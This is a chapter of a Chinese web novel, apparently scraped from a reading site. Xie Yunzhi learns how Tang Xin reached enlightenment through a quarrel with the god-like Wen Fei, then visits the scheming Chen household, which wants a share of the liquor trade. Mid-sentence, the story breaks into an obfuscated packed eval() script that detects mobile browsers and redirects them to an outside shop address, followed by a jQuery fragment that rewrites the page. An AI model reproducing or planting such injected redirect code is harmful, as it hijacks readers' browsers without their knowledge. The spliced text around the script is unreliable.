默认冷灰
24号文字
方正启体

368.阴差阳错(大乾王朝篇)

作者:绝望白勺文盲本书字数:K更新时间:
    谢韵之乘电梯上楼,梯门无声打开,她侧身、小心翼翼大步迈出,等安然无恙站在三楼地板上才回头狐疑地望着这无声电梯。


    坏掉了?


    大半夜的,她胆子小,别吓她。π-π


    盯了半天没瞧出特别的,收回疑惑转向唐芯房间。却见交子如临大敌般蹲在门口,一双炯炯有神的大眼睛瞪得像铜铃,好似能biubiu~发射激光射线。


    见她走进,竖起根拇指比在嘴边,气音:“嘘——”


    谢韵之蹲下,小小声问:“闹鬼了?”


    交子一听“鬼”字吓得一哆嗦,前后左右四面八方看了看确认无异常才把提起的小胸脯放下,小小小声道:“唐芯芯顿悟了。我在外面帮她守着。”


    “哦。”谢韵之手指指向电梯,“声音你关的?”


    “嗯呐~”


    “行。”没出故障就好。


    走出两三步,猛地回头蹲下。卷起的气流糊了交子一嘴毛(它自己的)。


    “你说什么!芯芯顿悟了?”


    交子噗地变成一颗光滑白团子,呸呸两声,回道:“是的,她顿悟了。”


    “怎么顿悟的?有危险吗?别掐头去尾就给个结果,我要过程,说完整!”


    “没危险。顿悟是最简单最浅层的悟道,没有心魔关在最后一哆嗦埋伏着。”至于过程,交子摇头晃脑,“我也不知道她怎么顿悟的。”


    看了一个好人没好报横死街头的人生故事,气得胸闷找温斐聊天,聊着聊着不知怎么就吵起来了,吵着吵着咔嚓一声碎掉了,然后顿悟了。


    让它想想……


    “唐芯芯虽然对故事的结果感到惋惜,但坚持人要向善,不图回报。当然,最理想的社会状态就是好人必有好报,坏人必有恶报。”


    “然后温斐问她,当一个人做一件好事得到了对自己有利的结果,于是产生了‘做好事能取得好的回报’的等式,在往后的人生里产生了做好事-获利-做更多的好事-获更多的利的循环。问:他是向善还是向利?”


    谢韵之思忖片刻,挑眉:“这不就是社会理想愿景吗?”一人向善一人得利,人人向善人人得利,和谐友爱世界大同。


    但唐芯被温斐那个非黑即白的问题困住了。


    她坚持那个人是在向善,而温斐一直引导她往利益的方向去想。


    然后唐芯就炸了。


    交子不懂她为什么会那般恼火,指责温斐轻视人类的感情。


    温斐却道:“我从未低估人类情感的分量,在我的算式中,赋予了它们相当的权重。”


    此话一出,唐芯差点就像充过气的气球那样嘣地炸掉。


    “你什么时候能学会用自己的心去做事而不是用你精密冰冷的大脑!你什么时候才能正视被你所鄙夷的从心、从欲、冲动甚至是犯错!你永远都不会犯错,因为你交予世界的答案永远都经过了大脑精确的计算!可这不是人,是——”


    是神啊……


    谢韵之在心底默默补全了交子没敢说出口的最后两个字。


    温斐是神啊,一个意料之中情理之外的答案。


    她摁下腾飞的思绪,追问:“然后呢?”


    然后——


    温斐用一种极其无辜的表情、非常之心碎的眼神望着唐芯,整个人充满了孤寂的破碎感。他一字一顿道:“你是在质疑我对你的爱吗?”


    绝杀。


    谢韵之摇头叹息,这唐芯芯不得心疼死啊。


    确实。Q小芯听完直接碎了,一块一块的,如不规则水晶。


    但还是顽强地把自己拼起,强撑着一口气:“那……斐斐……你能像爱我一样爱整个世界吗?”


    温斐抱住她坍塌成废墟的神识体,用那双无限温和、无限包容、凝缩着永恒爱意的瀚海星眸诉说道——你替我爱吧。我允许你,赋予世界与我等同的爱意。


    唐芯在那一刹那,好似被她的世界拥抱,又好似拥抱住了整个世界。


    她的兄长、她的神明、她的信仰,在她的识海、她最脆弱的地方,温柔地将她环抱,用有史以来最真诚的心意对她说:唐芯,世界在我眼中,因你而存在。


    祂说祂允许世界在她心中与祂平起平坐,却又告诉她在自己眼中她才是世界唯一的价值。


    唐芯感到了前所未有的责任感与使命感,她是如此的重要,是如此的不可或缺。她有义务,代替这个本该平等爱着世界上每一个人的神明去深爱世间的一切生命。


    因为是她,取代了世界在祂眼中的分量。


    所以,作为[温斐]唯一的信徒,她要向世界赎罪,给予所有生灵自己公正无私的爱。


    [大道]认可了这份狂妄,也记住了这个傲慢的信徒,并回应她同等的祝福:去吧孩子,让世界在你的爱里,无限。


    [温斐]抹除了祝福本应存在的最后两个字,让祝福变得不完整,也不受限。祂要让唐芯永远有选择的自由,哪怕[大道]赋予的是属于唐芯的最佳答案,但这个答案唯有出自唐芯之口才有存在的价值。


    阴差阳错,这道祝福成了寰宇无数生灵为自己贫瘠的生命奋起抗争的信念之源。


    致我们:让世界在爱里,无限。——唐芯芯《异世界冒险手札之纪念那些无与伦比的生命》


    谢韵之听完之后的感想是:真好,唐芯在这个赛道无敌了,因为除了她,没别的能走。


    真不知道该说温斐洗脑包喂得彻底还是唐芯脑回路异于常人,博爱的信徒遇见独我的神祇,诡异的对齐了颗粒度,达成了“我爱你你爱世界”的圆满共识,为这个人人都想踹上一脚的世界献出了自己轰轰烈烈的建设力量。


    真好,大家都有美好的未来。


    啊~又是神经兮兮的一天呐!


    ——————


    第二天清晨从枕头上把自己拔起来的谢韵之浑身怨气浓得像个厉鬼。


    古人诚不欺我也,好奇心害死猫。


    昨晚就不该多嘴问那几句,搞得半夜做梦被一堆硕大的“爱”与“善”追着砍,醒来后脑子还嗡嗡嗡,天杀的,还在追她!‘猫咪抱头’


    交子依旧守在唐芯门口,一只看起来凶神恶煞其实软弱可欺的门神。


    顺走。


    安若素顶替它的位置上来帮唐芯守着。


    知府夫人的马车早早等在了商场门口,谢韵之抱着小猫咪上车。


    两人照例虚情假意一番。不出所料,知府夫人打听起昨天柳芙蕖到位面商铺的事。谢韵之顺水推舟照实答了,没什么好隐瞒的,钢铁侠工会买走的东西没多久就会给矿工们用上,动作快的话,她们从陈府出来时就能在街上听到消息。


    马车拐弯,陈府大门近在眼前。


    谢韵之状似不知道自己在内涵般来了句:“柳会长爱民如子,心怀大义,实乃吾辈楷模。”


    知府夫人面色讪讪,张罗起下车的事,避而不答。


    爱民如子呵,钢铁侠工会再受人敬仰也只是个民间组织。


    谢韵之对着她的背影吐出一口浊气,胸腔中因睡眠不足而起的郁气淡却不少。


    郑夫人候在正厅,热情地迎接了她们。寒暄两句,一行人向陈博仪院中而去。


    甫一进门,迎面飞来一个青瓷杯,摔在地上四分五裂,伴随里间一声近乎歇斯底里的怒吼:“滚出去!通通滚出去!”


    郑夫人掩下眸底的厌烦,端起笑解释道:“博仪安心待嫁,昨儿起就着手绣嫁衣呢,许是绣娘教的不好惹了她不快,怪我,心疼孩子,从小没教过她绣活。”


    这种场面话左耳进右耳出就行,绣活累人,稍微有些家底的人家都会养绣娘,千金小姐们有旁的锦绣功课。


    谢韵之只对郑夫人话里暗藏的无情感到诧异,陈博仪俨然是枚家族弃子了,可就算如此,连亲生母亲都不愿在外人面前维护她的颜面吗?


    陈家,凉薄至此……


    里间鱼贯而出五名容色普通的婢女,一人额角淤青,一人眉侧划出道血痕。


    谢韵之皱眉,压下心底腾起的躁意,默念:封建王朝封建王朝……


    卧房里碎瓷断玉铺满地,三名绣娘跪在尖锐的棱角上绣着大红嫁衣,纤细的身子因疼痛而颤抖,手却四平八稳,手指灵动翻飞,下针快准稳。


    陈博仪倚在榻上,水葱般的五指夹一柄素兰翡翠团扇,眉眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281883|168788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间凝着厚重的挥之不去的郁气。温婉清雅的五官因此大打折扣,变得刻薄尖锐。


    见来人,慌乱一瞬,很快反应过来,起身跪坐,以扇遮面,只露出一双含羞带怯的水眸,柔柔弱弱道:“女儿见过母亲。方才有个手笨的丫头打碎了女儿最心爱的瓷瓶,叫母亲和贵客们见笑了。”


    本是打着探望陈博仪的旗号来的,她房里这般狼藉,几人也不好坐下,客套两句走了个过场便动身离开。


    知府夫人走前用宽慰的语气道:“好孩子,安心待嫁,毕竟是陛下登位以来头次赐婚。”


    实际上是敲打。


    陈博仪那张娇柔的皮囊寸寸皴裂,从嗓子眼里挤出道谢声。


    谢韵之观人及己,想:人果然不能选择与本性不符的人设,不然得多委屈啊。


    余光瞥见脸色僵硬的郑夫人和假模假样的知府夫人,一个大胆的念头悄咪咪浮现:白城知府不会也是肃帝的人吧?


    抑或是……陈氏一族内讧?毕竟……白城知府的政绩可要靠矿产支撑呢。


    郑夫人又请她们往正院小坐,先对前日贺逸昇在陈府险些遭难一事表示慰问与歉意。


    谢总笑笑,光说不做假把式,昨天可没见着陈家的歉礼。


    葛家反倒遣人送了歉礼,为那天耽搁了他们的时间表示抱歉。安若素出门打听回来说几乎每家都有,谢总深入理解为封口费。陈葛两位小姐的婚事来得不体面,葛家宁愿忍着恶心顺肃帝那道赐婚旨意的说辞对外宣称两个孩子情投意合也不愿意葛以桥名声有损。


    陈家……想来是不在乎吧。


    谢韵之不接茬,郑夫人与知府夫人两人一台戏也能把打算好的说辞继续下去。


    歉意一嘴带过,陈家对两桩事的调查、处置结果半句不提,拎出关键人物柳芙蕖明里暗里上了几句眼药,七拐八弯半杯水下肚方才点明意图——酒。


    交易所售卖酒品一类的大乾经销商只一家,皇室。


    谢韵之来之前将大乾矿区图等矿产资料熟记于心,未料,陈家居然旧事重提,矛头直指酒。


    酒业无疑是个市场广阔的暴利行业,除了喝,更重要的是乙醇在医疗卫生领域的突出贡献。


    因此,交易所对内对外禁售烟,而不禁酒。


    对于不掌兵权的世家而言,酒更大的用途在于谋取暴利。


    可……首先交易所卖给肃帝的成品酒批发价只比土也球零售价略低,其次,陈家要在大乾抢皇室的市场,这跟拔老虎尾巴毛有什么区别?


    谢韵之装作没懂,赞了一句那晚各家夫人的首饰,从而讨教起白城的风土人情,把话题往矿上拨。


    陈家为巩固自身势力反对葛家开发其他矿脉,上书奏请陛下节制矿产。


    肃帝允了一半,矿产是如今大乾维护与交易所良好贸易关系的支柱,不可能切断。


    华国的相关产业已经如火如荼的投入大工业生产,谢韵之可不想看到大乾缩减矿产减到卡住他们的脖子。


    想试探出陈家的真实目的。别说什么为长远计这种鬼话,看陈家自己的用度,跟“节制”二字八竿子打不着关系。


    郑夫人却对此兴致缺缺,只聊了几句又把话题绕回酒字。


    谢韵之按下心底焦急,放平心态,端起钟鸣鼎食之家出身的大小姐气势,以品酒为切入点,侃侃而谈。


    论知识储备,论资源倾斜,她有自信,整个大乾都找不出第二个能与她匹敌之人。世家想要的底蕴、做派、排场、名望、声量,无论哪项,她拥有的见过的,都更胜一筹。


    或酒或茶,基本功罢了。


    两位夫人听得如痴如醉。之前这些人碍于他们神乎其神的来历对他们的敬畏是虚的,此番过后,便实实在在落到了地上。


    她们在谢韵之身上,看到了同类人的光辉,不,是更高阶层不经意洒下的一缕微光。


    午膳时分,郑夫人殷勤地邀她留下用膳。


    席间,一管家模样的人呈上几小坛密封罐,用木锤从边缘小心敲开封口黄泥。


    随着黄泥一层层落下,坛口封印松动,若有似无飘出一缕幽香。


    谢韵之瞳孔皱缩,酒?!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)